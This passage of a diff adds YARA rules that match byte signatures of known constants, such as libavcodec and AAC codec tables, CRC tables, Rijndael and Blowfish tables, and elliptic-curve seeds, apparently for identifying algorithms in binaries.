+	$a0 = { 00000597012e04b9025c07cb037206e504b8012f0596000106e4037307ca025d037006e7025e07c9012c04bb0002059507c8025f06e603710594000304ba012d06e0037707ce025904bc012b05920005025807cf037606e100040593012a04bd0590000704be012907cc025b06e20375012804bf00060591037406e3025a07cd07c0025706ee0379059c000b04b20125037806ef025607c1012404b3000a059d04b00127059e000906ec037b07c202550008059f012604b1025407c3037a06ed012004b7000e0599037c06eb025207c50598000f04b6012107c4025306ea037d025007c7037e06e9000c059b012204b506e8037f07c6025104b40123059a000d0580001704ae013907dc024b06f20365013804af00160581036406f3024a07dd06f0036707de024904ac013b05820015024807df036606f100140583013a04ad036006f7024e07d9013c04ab0012058507d8024f06f603610584001304aa013d00100587013e04a9024c07db036206f504a8013f0586001106f4036307da024d024007d7036e06f9001c058b013204a506f8036f07d6024104a40133058a001d013004a7001e0589036c06fb024207d50588001f04a6013107d4024306fa036d04a00137058e001906fc036b07d202450018058f013604a1024407d3036a06fd07d0024706fe0369058c001b04a20135036806ff024607d1013404a3001a058d }
+
+condition:
+	$a0
+}
+
+	
+rule asf_file_header_guid__8_byt_16_
+{
+strings:
+	$a0 = { a1dcab8c47a9cf118ee400c00c205365 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AC3_ac3_default_coeffs__8_byt_80_
+{
+strings:
+	$a0 = { 0207070200000000000004040000000000000000020707020000000000000207050507020000000002070702060600000000020705050702080800000207070206070706000002070505070206070706 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes5__16_lil_460_
+{
+strings:
+	$a0 = { 00000400f00005001200f001f101e803ce3f06003000de0713003100d20fe903df07b07ff201e007b17fea03d21fb27fcf3fb37f310007003200d30f33007000d40fd50fd60fb47f14007100d31f34007200d41fd70fd51fb57feb03d80fb67fe107d61fb77fb87fb97f7200f100d71fba7fe207d90fbb7fbc7fbd7f7000ec03d81fbe7fda0fbf7fc07fc17fc27f7200c37fc47f7100c57fc67f720034007200720008001500e30716007300db0fe407dc0fc77f35007400d91f7500f200d03fdd0fd13fc87fe507da1fc97fde0fdb1fca7fcb7fcc7ff20017003600dc1f7600f300cd7fdf0fd23fce7f3700f400d33f7700f500cf7fd43fd07fd17fe00fe10fd27fe20fdd1fd37fd47fd57ff500f301de1fd67fe30fdf1fd77fd87fd97ff300e607e01fda7fe11fe21fdb7fdc7fdd7ff500d53fde7ff400df7fe07ff5007700f500f500f600ed03e17fe707e40fe27fe37fe47f7300ee03e50fe57fe60fe31fe67fe77fe87ff200d63fe97f7400ea7feb7ff2007500f200f200f700e70fec7fe80fe41fed7fee7fef7ff300e807e51ff07fe61ff17ff27ff37ff47ff500f57ff67ff400f77ff87ff5007700f500f500d73ff97f3600fa7ffb7ff3007600f300f300fc7ffd7f0000fe7fff7f }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_cb_gain__flt32___32_big_32_
+{
+strings:
+	$a0 = { 3f0400003f6700003fca20004030dc00bf040000bf670000bfca2000c030dc00 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_syn_window__flt32___32_big_444_
+{
+strings:
+	$a0 = { 3f13a2053f14b1cd3f15c37a3f16d71f3f17ecbb3f1904603f1a1e003f1b3c003f1c5a003f1d7a003f1e9e003f1fc4003f20ea003f2214003f2340003f246c003f259c003f26ce003f2802003f293a003f2a72003f2bac003f2cea003f2e2a003f2f6c003f30b0003f31f6003f333e003f348a003f35d8003f3728003f387a003f39d0003f3b26003f3c80003f3ddc003f3f3c003f409c003f4200003f4368003f44d0003f463c003f47aa003f491c003f4a8e003f4c04003f4d7e003f4efa003f5078003f51fa003f537e003f5504003f568e003f581a003f59aa003f5b3c003f5cd0003f5e68003f6004003f61a2003f6342003f64e6003f668e003f6838003f69e4003f6b94003f6d48003f6efe003f70b8003f7274003f7434003f75f8003f77be003f7988003f7b56003f7d26003f7eae003f7fa2003f7ffe003f7fc6003f7efa003f7d98003f7ba0003f7918003f75fc003f7250003f6e18003f6954003f6408003f5e38003f57e4003f5112003f49c8003f4206003f39d4003f3134003f282c003f1ec4003f14fe003f0ae0003f0072003eeb70003ed574003ebefc003ea814003e90c8003e7258003e4288003e1248003dc370003d43a000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_atrac_qmf_48tap_half__flt64___64_lil_192_
+{
+strings:
+	$a0 = { a30179ae8da8eebed56afd3fb12118bf6a37d36057710dbfb8a29fdad6bc333f6e39cdf99fc02f3f332ea67df8f24bbfa2c71c81c00e41bf95921482a4a9603f7c6604801fab493fbb76e71d274471bff661b3800bc748bf7ee54f80920e803fde5e09420b0910bfe72b71b247878bbffbe78e629e2c643ffc7e973dfc41963f3453c91ca5f47fbf3be89d004674a1bf45259e81cb42933fc753f45f9ed0ab3fdddb0ebc4352a6bf4aa8fffd4071b9bf528904b6f7e7c03ffa8d9f5b22b6dd3f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_celp_math_slope_cos_G729_BITEXACT__16_lil_128_
+{
+strings:
+	$a0 = { 88FD9BF8B2F3D1EEFAE931E578E0D3DB44D7CED274CE39CA1FC628C258BEB0BA33B7E2B3C1B0D1AD13AB8AA836A61AA437A28DA01F9FEC9DF69C3C9CC09B829B829BC09B3C9CF69CEC9D1F9F8DA037A21AA436A68AA813ABD1ADC1B0E2B333B7B0BA58BE28C21FC639CA74CECED244D7D3DB78E031E5FAE9D1EEB2F39BF888FD }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_gain_window__flt64___64_lil_304_
+{
+strings:
+	$a0 = { 5e47e7bfb12ee03fecade11f3fc6e03f974b36608863e13f46ec3ec08d06e23f9804c6ffbfafe23f1ef32a00005fe33f592ac8ff7f14e43fd9812400c0d0e43fe8a3ddffff93e53f44710600405ee63f9804c6ffbf2fe73f1b50caff3f09e83f6558d9ff7feae83fe8a3ddffffd3e93f0c2e110000c6ea3fe20cd5ffffc0eb3f33acecff3fc5ec3f0697080000d3ed3f592ac8ff7fc4ee3f9e9bceffbf72ef3f21e7d2ff3fdcef3f000000000000f03fd3ea1b00c0ddef3f0c2e11000076ef3f1b50caff3fc9ee3f1b50caff3fd9ed3f30b8440000a8ec3f30b844000038eb3f89e20c00808ce93f12c5190000a9e73f248a33000092e53fb060e8ffbf4be33f3fdafdff3fdbe03f4765aeff7f8bdc3f95101e008022d73fdc2485008086d13fb35490ffff88c73fc820f9ffffa3b73f }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_X9_62_PRIME_239V3_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 7d7374168ffe3471b60a857686a19475d3bfa2ff }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_AAC_Fraunhofer_sfb_8_120__16_lil_30_
+{
+strings:
+	$a0 = { 040008000c001000140018001c0024002c0034003c00480058006c007800 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_5_USB_poly_0x09__8_byt_refl_False_
+{
+strings:
+	$a0 = { 0009121b242d363f48415a536c657e779099828bb4bda6afd8d1cac3fcf5eee729203b320d041f166168737a454c575eb9b0aba29d948f86f1f8e3ead5dcc7ce525b4049767f646d1a1308013e372c25c2cbd0d9e6eff4fd8a839891aea7bcb57b7269605f564d44333a2128171e050cebe2f9f0cfc6ddd4a3aab1b8878e959ca4adb6bf8089929bece5fef7c8c1dad3343d262f1019020b7c756e6758514a438d849f96a9a0bbb2c5ccd7dee1e8f3fa1d140f0639302b22555c474e7178636af6ffe4edd2dbc0c9beb7aca59a938881666f747d424b50592e273c350a031811dfd6cdc4fbf2e9e0979e858cb3baa1a84f465d546b627970070e151c232a3138 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_64_ECMA_182_poly_0x92D8AF2BAF0E1E85__64_lil_refl_False_
+{
+strings:
+	$a0 = { 0000000000000000851e0eaf2bafd8928f2312f17cf169b70a3d1c5e575eb1259b592a4dd24d0bfc1e4724e2f9e2d36e147a38bcaebc624b916436138513bad9b3ad5a358f34ce6a36b3549aa49b16f83c8e48c4f3c5a7ddb990466bd86a7f4f28f470785d79c596adea7ed776d61d04a7d762892188ac2122c96c260a2774b3665bb56a1e699cd5e345bbc535c64447e978a79b6298f5626c66a93449372df0fd029f27cc249729781c9188e78b4fbb72218dd6b0d5fe9ef73f83799b7a260cd5f6ef5f915d52bf50e8e1f0baf28a2d5ad5fdaeedac3b08dfcbf301c603e39a4eafc51243105943cbb1cbbd68bf81d1c18cd7e33fe130f44492d94c144ee86649a8647a177de039ccb66ad53cd238abc68b768b6b8c898e439578244023511cd2f14e37c530ebc557ef4098ee9f33575dd25cc6b9c18272d8cc5269926e5ae0fa053e4f98492e537f1b30e0b3e6f6c175262cbee4b847e4f0382211cf179f76615c14024a0425afe4421aad61abfd3dee7f06f336f54c186b61085c1d5a948a2ff3d11009147cecaaeddfbf22bba47ea0d0c3e175e5155b25cecd4e5e4acdc9b4aafb5ddb59771031b4f5f2f0f6af823b89e9aca7a81ea7be97e7038c07c6359c5e8b258620b2861940858aad8f6a14137d99d4fad1db319663977bd17e03a30707a168546db97a8219afc77fc261e88824b399289cd0cd0d3abd360333085f9250c9f42efac073174ec75b055518e11d73db05520ba9c4986dd5aa79a471560909e3b9fcb7cb8f8c17ed16d718131d862af1488046a2380334ffe7abe97aaa21fd93c1a1ce0e19a4e39d6e8a61d68baede8130dd3f67ae2bc08f9ff690bf3cbaa4b98c738305e53fbab723582cdd773587ab7d0f726c52b099a5d224ddb4c0f40b7c9e30935ca6711572311b3c84347b286e6f4c623511fe3660c067cded836f5256d3e2de575aea4c587cc9718fc8e07144229e2f3eed656f4a8db580e67f47a626abbfa792ccc2b8280494084a5ec885345ac356fb7b4d9b3af5e8f923e9dcff0ce66dea993059e10249464541a253dc1e17111bf087d6c210b83ab42815dbf8ad8e3987204a5ee6a3211228f8d854dbbf7f457649fdd1c5b1d06ed9916f40a187c3ebca2bb6c5bf896cc065f324cf829532973b42014a9c9b9dbc949a936855f7bbb6b3ee20ed4bf9149d1c36b2e776e54aca4287976268ebe5e1ed5f05f30cddf664fee5dc7612d3594f513d4e7c2fcf07180f8c6bf931c1a833a054f9bda318e427eebc9f38bd164b0c41640d32800a155b1fd528b79e04ba70b00dba26fa32a9f5a3b763a3e43c06de0c6ff1a9d920588952ded42cc72ef7a2fd06460e0e42d1a8da72f58b104c7e8375aa67812d5020d42b1b4204335e8fff84c3d09557689c7a977909104966335138a19b1a747a6d066610be9f6a74c22dc9c82c24a192e95df481e7a1bf9c46765b5975ab8280182105e8502e9c8eb70aaa30c2bff8b8a48fb98a1b3ae6b60ba416528930dbaa55f348e3acb5c5a4fad8e73b3e970cc8dcd2c04f8d1212c673f96f971f182fda2dae31263a9d31d482859efea80c55e291008d4471894bec3e2b229ce38376f0607c7c2dc60668fecf57d3f55442fa2783439d1d32c7e4292c6832c5a0cdd935723f6c748548c73bdd14c3ac17d9a30dce91d016ce5cbd0361ba7fce5c56801f3fed217f79d39e1190c68ea7ebf1577db6cca9d35874497319e7060bca7e746f47b058baeffb6a61e89bf7627d6a0e57fb1ee4d8a4ef105954354b0036e52d450a6215b11360334ba549ba69816d09f6934a8961dee817f83c6126b94ce22ae462367808696734eacd1dd7d0fbf650dcde98c46a22734ed271b36bb2b07973ce2fe4350395fc6dc080cf9adb07dea4aca6c5bdafb45bbaa209ee1277265187be57b94cc603d499b0f892e31e9145fd86eb17f0a448c0e388443c5f7cdacade941a6b01cdff4fc09ab540ae156d0b5243f954e0fd0b8e4c4d567f4f259984715108281194bc016f5fa703be4c2e900b69b486adf6f71515671bad022e651f287b45fa5c9f409a3675ead1f347d2b8ff19ccdbd433613de11763f07bebf337dc0b3da7255ad6b2c205928c8a824423a633810999389da6b83d2e2236e00fac8521707568512a299b2fdf5ec789b8b6f15b1d730e419433ef55b258a1990639d249ec0fff2823bccc47432450f0b12da87150a1434a68a8b67fff8aec92faa28b63a1ddb223df27956d0ef61dfb4d055c0128fc3a8ffe80420f87d795576c8a7f13d980cbe6490f611d76ab643edb9e052b652e7784021b1b25ca05d85c90112639945286edb59438373b79293527d0aaee776d67dd4155b4e0d846c805d35f89fc861196b4f6da97f2293a396c644bf3c43abf2ad6bdceedca9594850e2fc4d0d6cbc3dbbf0a41ced864e87467986307b442e253132be619baedc9fccbb9ec24a6b39ea27a9c693aa81cb50da20ef85e9e0f301e18d77d4090a01bb1c045777d8cfe4cef7160f26382516740a9f2ff593f676473a1ad7a4731c84fdc793f707a2d961882c81af5642339332d10886400152ab63eaa51e11e1b859d9172c3eb2307dbcacfc3e66e3d0974e1601b744cf46552eb476fc7c9ea6bfdc0e8b755c3d777a397b6067046c9790cbc19dee2d7ad4f1f390a643b52b341b012a5bca9588e5dee45fb0d8cdd9053416e54d51e99028a0d7a1a3d781c1c84a251b5e5ea162198fc06eb54cf933f96532d448c5d025ba040a85736848745aeef83f8ee168d78b2b1d4a65f330866bc1eff0987a12aafd038f52ef312afb1de97de812b80a58cc2c989df9aa52092cc66a2704237b1f6fa752763f8ee34e8f4da0ccc207c3ed5e8845b929159bbcbe62b703d49cb }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_inverse_table__32_big_1024_
+{
+strings:
+	$a0 = { 00000000ffffffff800000005555555640000000333333342aaaaaab24924925200000001c71c71d1999999a1745d1751555555613b13b141249249311111112100000000f0f0f100e38e38f0d79435f0ccccccd0c30c30d0ba2e8bb0b21642d0aaaaaab0a3d70a409d89d8a097b425f0924924a08d3dcb108888889084210850800000007c1f07d0787878807507508071c71c806eb3e4606bca1b00690690706666667063e70640618618705f417d105d1745e05b05b060590b2170572620b055555560539782a051eb8520505050604ec4ec504d4873f04bda13004a7904b04924925047dc1200469ee590456c7980444444504325c5404210843041041050400000003f03f0403e0f83f03d2263603c3c3c403b5cc0f03a83a84039b0ad2038e38e40381c0e103759f230369d037035e50d803531ded03483484033d91d30333333403291620031f383203159722030c30c40303030402fa0be902f1499102e8ba2f02e05c0c02d82d8302d02d0302c8590c02c0b02d02b9310602b1da4702aaaaab02a3a0fe029cbc150295fad5028f5c290288df0d02828283027c45980276276302702703026a43a002647c6a025ed09802593f6a0253c826024e6a18024924930243f6f1023ee0900239e0d60234f72d02302303022b63cc0226b90302222223021d9eae02192e2a0214d02202108422020c49bb02082083020408110200000001fc07f101f81f8201f4465a01f07c2001ecc07c01e9131b01e573ad01e1e1e201de5d6f01dae60801d77b6601d41d4201d0cb5901cd856901ca4b3101c71c7201c3f8f101c0e07101bdd2b901bacf9201b7d6c401b4e81c01b2036501af286c01ac570201a98ef701a6d01b01a41a4201a16d40019ec8ea019c2d150199999a01970e5001948b1001920fb5018f9c19018d3019018acb9101886e60018618620183c97801818182017f4060017d05f5017ad2210178a4c901767dcf01745d180172428801702e06016e1f77016c16c2016a13ce0168168201661ec701642c8601623fa801605817015e75bc015c9883015ac0570158ed2401571ed401555556015390950151d07f01501502014e5e0b014cab89014afd6b0149539f0147ae1501460cbd01446f870142d66301414142013fb014013e22cc013c995b013b13b2013991c301381382013698e0013521d00133ae4601323e350130d191012f684c012e025d012c9fb5012b404b0129e41301288b020127350c0125e2280124924a012345680121fb790120b471011f7048011e2ef4011cf06b011bb4a5011a7b9701194539011811820116e0690115b1e6011485f101135c820112358f01111112010fef02010ecf57010db20b010c9715010b7e6f010a6811010953f40108421101073261010624de01051980010410420103091c0102040901010102 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x1800063__32_big_refl_False_
+{
+strings:
+	$a0 = { 0000000001800063030000c6028000a50600018c078001ef0500014a048001290c0003180d80037b0f0003de0e8003bd0a0002940b8002f7090002520880023118000630198006531b0006f61a8006951e0007bc1f8007df1d00077a1c800719140005281580054b170005ee1680058d120004a4138004c7110004621080040130000c6031800c0333000ca632800cc536000dec37800d8f35000d2a34800d493c000f783d800f1b3f000fbe3e800fdd3a000ef43b800e9739000e3238800e5128000a5029800a332b000a962a800af52e000bdc2f800bbf2d000b1a2c800b79240009482580092b2700098e268009ed220008c4238008a72100080220800861600018c0618018a363001806628018656600194c6780192f6500198a648019e96c001bd86d801bbb6f001b1e6e801b7d6a001a546b801a3769001a9268801af178001ef079801e937b001e367a801e557e001f7c7f801f1f7d001fba7c801fd974001de875801d8b77001d2e76801d4d72001c6473801c0771001ca270801cc1500014a0518014c353001466528014055600152c5780154f550015ea548015895c0017b85d8017db5f00177e5e80171d5a0016345b801657590016f25880169148001290498012f34b0012564a8012354e00131c4f80137f4d0013da4c8013b944001188458011eb4700114e4680112d4200100443801067410010c2408010a1c0003180c18031e3c3003146c2803125c600300cc780306fc50030cac48030a9cc003298cd8032fbcf00325ece80323dca003314cb803377c90033d2c88033b1d80037b0d98037d3db003776da803715de00363cdf80365fdd0036fadc803699d40034a8d58034cbd700346ed680340dd2003524d3803547d10035e2d0803581f0003de0f1803d83f3003d26f2803d45f6003c6cf7803c0ff5003caaf4803cc9fc003ef8fd803e9bff003e3efe803e5dfa003f74fb803f17f9003fb2f8803fd1e8003bd0e9803bb3eb003b16ea803b75ee003a5cef803a3fed003a9aec803af9e40038c8e58038abe700380ee680386de2003944e3803927e1003982e08039e1a0002940a1802923a3002986a28029e5a60028cca78028afa500280aa4802869ac002a58ad802a3baf002a9eae802afdaa002bd4ab802bb7a9002b12a8802b71b8002f70b9802f13bb002fb6ba802fd5be002efcbf802e9fbd002e3abc802e59b4002c68b5802c0bb7002caeb6802ccdb2002de4b3802d87b1002d22b0802d419000252091802543930025e692802585960024ac978024cf9500246a948024099c0026389d80265b9f0026fe9e80269d9a0027b49b8027d7990027729880271188002310898023738b0023d68a8023b58e00229c8f8022ff8d00225a8c802239840020088580206b870020ce868020ad82002184838021e78100214280802121 }
+
+condition:
+	$a0
+}
+
+	
+rule UUEncodeTable__32_big_ASC_256_
+{
+strings:
+	$a0 = { 000000600000002100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d0000002e0000002f000000300000003100000032000000330000003400000035000000360000003700000038000000390000003a0000003b0000003c0000003d0000003e0000003f000000400000004100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000530000005400000055000000560000005700000058000000590000005a0000005b0000005c0000005d0000005e0000005f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes6__16_lil_64_
+{
+strings:
+	$a0 = { 00000800090034000a0035003600f6000b0037003800f7003900fa01f800fc030c003a007a00f9003b00fb01fa00fe073c00fc01fb00fd03fc00fe03fd01ff07 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_wnv1_code_tab__16_big_64_
+{
+strings:
+	$a0 = { 01fd000900fd0008007d0007003d0006001d0005000d0004000500030000000100040003000c0004001c0005003c0006007c000700fc000801fc000900ff0008 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpc_SCF__flt32___32_lil_512_
+{
+strings:
+	$a0 = { 3faa9943ffff7f43383e554399a03143cbf51343f07ef6428753cd426708ab4290778e4236586d4215b44542e3ae24428a2d09427688e441165dbe41b8919e41c8158441740c5c41d84b3741a8ae1841dc5cfe4016e1d340c77db0408c0393405eeb74405c034c4061f029404e8e0d409dd3eb3f6370c43f41a1a33ff04c883f4912633f67253d3f188e1d3f853d033f2ba4da3ebc1fb63eabb4973e63bc7c3e2c86523ece5c2f3ed712123e5b5af33d53b5ca3d23daa83d89a68c3d7f516a3dc22e433d5895223dc66d073d809ee13cb7efbb3c218c9c3ca466823c303e593c8bf5343c48bc163c961efb3b7c2dd13baf3dae3bac23913beacb713b6e69493badc5273b40c00b3bd9d1e83a30efc13a268ba13a0a90863a1a2d603a03bc3a3ad18b1b3a2391013a80dad73943cdb3397cc595396e837939ffd64f3966202d39093610390540f038a91fc838fbb2a6386fdb8a38a6546738a8b14038a6822038b7b305380dbede37448ab937238d9a37febc803713795637dda6323742d01437e4eaf736b182ce36ef04ac36ea498f36a6b66e36fdd746360aa2253614f80936e2d9e5352776bf35d77b9f35cdd8843559515d357a5a3835169019356ad4ff34ea19d5345b82b1349adc9334f854763491304d3448eb2a344e5f0e34cd2fed336c92c533d992a4332e1689338c616433ac3c3e33b8761e334bff0333fde6db32 }
+
+condition:
+	$a0
+}
+
+	
+rule Simbin_Race_WTCC_files_encryption_version_0_and_1__8_byt_20_
+{
+strings:
+	$a0 = { 4617802d13e42f2f276f1e1923656914412c0105 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_PRIME_128R1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 000e0d4d696e6768756151750cc03a4473d03679 }
+
+condition:
+	$a0
+}
+
+	
+rule TNS_filter_short_SSR_tnsMaxBandsShort__8_byt_12_
+{
+strings:
+	$a0 = { 070707060606070708080807 }
+
+condition:
+	$a0
+}
+
+	
+rule SSL3_pad_1_and_2__8_byt_96_
+{
+strings:
+	$a0 = { 3636363636363636363636363636363636363636363636363636363636363636363636363636363636363636363636365c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_rv10_rv_chrom_code__16_lil_512_
+{
+strings:
+	$a0 = { 7ffe003f013f023f033f043f053f063f073f083f093f0a3f0b3f0c3f0d3f0e3f0f3f103f113f123f133f143f153f163f173f183f193f1a3f1b3f1c3f1d3f1e3f1f3f203f213f223f233f243f253f263f273f283f293f2a3f2b3f2c3f2d3f2e3f2f3f303f313f323f333f343f353f363f373f383f393f3a3f3b3f3c3f3d3f3e3f3f3f800f810f820f830f840f850f860f870f880f890f8a0f8b0f8c0f8d0f8e0f8f0f900f910f920f930f940f950f960f970f980f990f9a0f9b0f9c0f9d0f9e0f9f0fc003c103c203c303c403c503c603c703c803c903ca03cb03cc03cd03ce03cf03e000e100e200e300e400e500e600e7003000310032003300080009000200000003000a000b003400350036003700e800e900ea00eb00ec00ed00ee00ef00d003d103d203d303d403d503d603d703d803d903da03db03dc03dd03de03df03a00fa10fa20fa30fa40fa50fa60fa70fa80fa90faa0fab0fac0fad0fae0faf0fb00fb10fb20fb30fb40fb50fb60fb70fb80fb90fba0fbb0fbc0fbd0fbe0fbf0f403f413f423f433f443f453f463f473f483f493f4a3f4b3f4c3f4d3f4e3f4f3f503f513f523f533f543f553f563f573f583f593f5a3f5b3f5c3f5d3f5e3f5f3f603f613f623f633f643f653f663f673f683f693f6a3f6b3f6c3f6d3f6e3f6f3f703f713f723f733f743f753f763f773f783f793f7a3f7b3f7c3f7d3f7e3f7f3f }
+
+condition:
+	$a0
+}
+
+	
+rule MPEG_2_NBC_Fraunhofer_Huffman_bookRvlc__32_big_180_
+{
+strings:
+	$a0 = { FFFFFFF90000000700000041FFFFFFFA0000000900000101FFFFFFFB0000000800000081FFFFFFFC0000000600000021FFFFFFFD0000000500000011FFFFFFFE0000000400000009FFFFFFFF000000030000000500000000000000010000000000000001000000030000000700000002000000050000001B00000003000000060000003300000004000000070000006B0000000500000008000000C30000000600000009000001AB000000070000000700000063 }
+
+condition:
+	$a0
+}
+
+	
+rule BGMC_Cumulative_frequency_table_15__16_lil_514_
+{
+strings:
+	$a0 = { 00405a3fb43e0e3e683dc23c1d3c783bd33a2f3a8b39e7384338a037fd365b36b93517357534d53335339632f7315931bc302030842fe92e4e2eb52d1c2d842cec2b542bbc2a262a9029fc286828d6274427b4262426962509257e24f3236a23e1225922d1214c21c7204520c31f431fc31e451ec81d4e1dd41c5c1ce41b6e1bf81a821a0c1a97192319b2184118d3176517f9168d162416bb155515ef148c142914c71365130713a9124e12f3119a114111eb1095104210ef0f9f0f4f0f010fb30e650e170eca0d7e0d340deb0ca40c5e0c190cd50b930b510b120bd30a960a5a0a1f0ae409ab0972093b090509d1089d086b0839080908d907ab077e0751072407f706ca069e06720647061d06f405cc05a5057f05590535051105ef04cd04ad048d046e044f0431041304f703db03c003a5038b0372035a0342032b031403fe02e802d202bc02a70292027e026a0257024502330221021002ff01ef01e001d101c301b501a7019a018d018001740168015c01510146013b01310127011d0113010901ff00f500ec00e300db00d300cb00c300bc00b500ae00a700a1009b0095008f00890083007e00790074006f006a00650061005d005900550051004d004900450041003d003a003700340031002e002b0028002500220020001e001c001a00180016001400120010000e000c000a0008000600050004000300020001000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Huffman_bookEscape__32_lil_648_
+{
+strings:
+	$a0 = { 00000000020000000200000001000000020000000000000002000000030000000600000003000000030000000200000004000000040000000e00000005000000050000001f00000006000000050000000f00000007000000050000000d00000008000000060000003d00000009000000060000001d0000000a00000006000000190000000b00000006000000180000000c00000007000000780000000d00000007000000380000000e00000008000000f20000000f00000008000000720000001000000009000000e60100001100000009000000e6000000120000000a000000ce030000130000000a000000cf010000140000000b0000009e070000150000000b0000009f070000160000000b0000009d030000170000000c00000038070000180000000e000000e71c0000190000000d000000720e00001a0000000f000000cd3900001b000000140000008a3907001c000000140000008b3907001d000000140000008c3907001e000000140000008d3907001f000000140000008e39070020000000140000008f3907002100000014000000903907002200000014000000913907002300000014000000923907002400000014000000933907002500000014000000943907002600000014000000953907002700000014000000963907002800000014000000973907002900000014000000983907002a00000014000000993907002b000000140000009a3907002c000000140000009b3907002d000000140000009c3907002e000000140000009d3907002f000000140000009e39070030000000140000009f3907003100000013000000c09c03003200000013000000c19c03003300000013000000c29c03003400000013000000c39c03003500000013000000c49c0300 }
+
+condition:
+	$a0
+}
+
+	
+rule Rijndael_Td0__0x51f4a750U___32_lil_1024_
+{
+strings:
+	$a0 = { 50a7f4515365417ec3a4171a965e273acb6bab3bf1459d1fab58faac9303e34b55fa3020f66d76ad9176cc88254c02f5fcd7e54fd7cb2ac5804435268fa362b5495ab1de671bba25980eea45e1c0fe5d02752fc312f04c81a397468dc6f9d36be75f8f03959c9215eb7a6dbfda5952952d83bed4d32174582969e04944c8c98e6a89c27578798ef46b3e5899dd71b927b64fe1be17ad88f066ac20c9b43ace7d184adf6382311ae560335197457f5362e07764b184ae6bbb1ca081fe942b08f95868487019fd458f876cde94b7f87b5223d373abe2024b72578f1fe32aab55660728ebb203c2b52f9a7bc586a50837d3f2872830b2a5bf23ba6a03025c8216ed2b1ccf8a92b479a7f0f207f3a1e2694ecdf4da65d5be05061f6234d18afea6c49d532e34a055f3a232e18a0575ebf6a439ec830baaef6040069f715e51106ebdf98a213e3d06dd96ae053edd46bde64db58d5491055dc4716fd40604ff15506024fb981997e9bdd6cc434089779ed967bd42e8b0888b8907385b19e7dbeec879470a7ca1e90f427cc91e84f8000000008386800948ed2b32ac70111e4e725a6cfbff0efd5638850f1ed5ae3d27392d3664d90f0a21a65c68d1545b9b3a2e3624b1670a0c0fe75793d296eeb49e919b1b4fc5c080a220dc61694b775a161a121c0aba93e2e52aa0c043e0223c1d171b120b0d090eadc78bf2b9a8b62dc8a91e148519f1574c0775afbbdd99eefd607fa39f2601f7bcf5725cc53b6644347efb5b7629438bdcc623cb68fcedb663f1e4b8cadc31d710856342402297132011c6847d244a85f83dbbd21132f9ae6da129c74b2f9e1df330b2dcec52860dd0e3c1776c16b32b99b970a9fa4894112264e947c48cfca81a3ff0a0d82c7d56ef903322c74e4987c1d138d9fea2ca8c360bd498cf81f5a628de7aa5268eb7daa4bfad3fe49d3a2c0d9278509bcc5f6a62467e54c2138df6e8b8d8905ef7392ef5afc382be805d9f7c93d069a92dd56fb31225cf3b99acc8a77d18106e639ce87bbb3bdb097826cdf418596e01b79aeca89a4f83656e95e67ee6ffaa08cfbc21e6e815efd99be7bace366f4ad4099fead67cb029afb2a43131233f2a3094a5c6c066a23537bc4e74a6ca82fcb0d090e015d8a7334a9804f1f7daec410e50cd7f2ff691178dd64d764db0ef43544daaccdf0496e4e3b5d19e1b886a4cb81f2cc17f51654604ea5e9d5d358c01737487fa2e410bfb5a1d67b352d2db92335610e91347d66d8c61d79a7a0ca1378e14f859893c13ebee27a9ce35c961b7ede51ce13cb1477a59dfd29c3f73f25579ce1418bf37c773eacdf7535baafd5f146f3ddf86db447881f3afca3ec468b92c3424385f40a3c272c31d160c25e2bc8b493c2841950dff7101a839deb30c089ce4b4d890c156646184cb7b70b632d5745c6c484257b8d0 }
+
+condition:
+	$a0
+}
+
+	
+rule Blowfish_ks2_table__32_lil_1024_
+{
+strings:
+	$a0 = { 685a3de9f74081941c264cf634296994f7201541f7d402762e6bf4bc6800a2d4712408d46af42033b7d4b743af6100502ef6391e46452497744f211440888bbf1dfc954daf91b596d3ddf470452fa066ec09bcbf8597bd03d06dac7f0485cb31b327eb964139fd55e64725da9a0acaab25785028f4290453da862c0afb6db6e96214dc68006948d7a4c00e68ee8da127a2fe3f4f8cad87e806e08cb5b6d6f47a7c1eceaaec5f37d399a378ce422a6b40359efe20b985f3d9abd739ee8b4e123bf7fac91d56186d4b3166a326b297e3ea74fa6e3a32435bddf7e74168fb2078ca4ef50afb97b3fed8ac564045279548ba3a3a5355878d8320b7a96bfe4b9596d0bc67a855589a15a16329a9cc33dbe199564a2aa6f925313f1c7ef45e7c31299002e8f8fd702f27045c15bb80e32c28054815c195226dc6e43f13c148dc860fc7eec9f9070f1f0441a4794740176e885deb515f32d1c09bd58fc1bcf26435114134787b25609c2a60a3e8f8df1b6c631fc2b4120e9e32e102d14f66af1581d1cae095236be1923e33620b243b22b9beee0ea2b285990dbae68c0c72de28f7a22d457812d0fd94b79562087d64f0f5cce76fa34954fa487d8727fd9dc31e8d3ef34163470a74ff2e99ab6e6f3a37fdf8f460dc12a8f8ddeba14ce11b990d6b6edb10557bc6372c676d3bd4652704e8d0dcc70d29f1a3ff00cc920f39b50bed0f69fb9f7b669c7ddbce0bcf91a0a35e15d9882f13bb24ad5b51bf79947bebd63b7